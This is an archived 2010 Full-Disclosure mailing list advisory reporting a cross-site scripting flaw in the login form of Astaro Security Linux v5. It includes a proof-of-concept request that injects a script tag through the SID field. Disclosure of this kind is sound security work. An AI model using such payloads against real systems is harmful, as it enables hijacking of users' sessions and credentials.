full-disclosure - Vulnerability Astaro Security Linux v5

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1269334033.2854.4.camel@localhost>
Date: Tue, 23 Mar 2010 09:47:13 +0100
From: Mehdi Mahdjoub - Sysdream IT Security Services <m.mahdjoub@...dream.com>
To: full-disclosure@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: Vulnerability Astaro Security Linux v5

Program          : Astaro Security Linux v5
PoC              : XSS
Homepage         : http://www.astaro.com/
Found by         : Vincent Hautot
Contact          : v.hautot () sysdream com

//----- Application description

Astaro Security Linux is a complete network security solution that
protects organizations against a wide range of threats to security
and productivity.

//----- Description of vulnerability

This Xss was found on index.fpl page in the login form. Usig this flaw
it is possible to execute Javascript code.
Posting using multipart/form-data does not work ; use this data instead:

username=my@...king.mail&password=DTC&SID=>"><script>alert("XSS !!!")</script>
&cur_width=1&window_height=700&id=0121&jaction=none&frameset=active&new_id=0

//----- Credits

http://www.sysdream.com/article.php?story_id=326&section_id=78

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/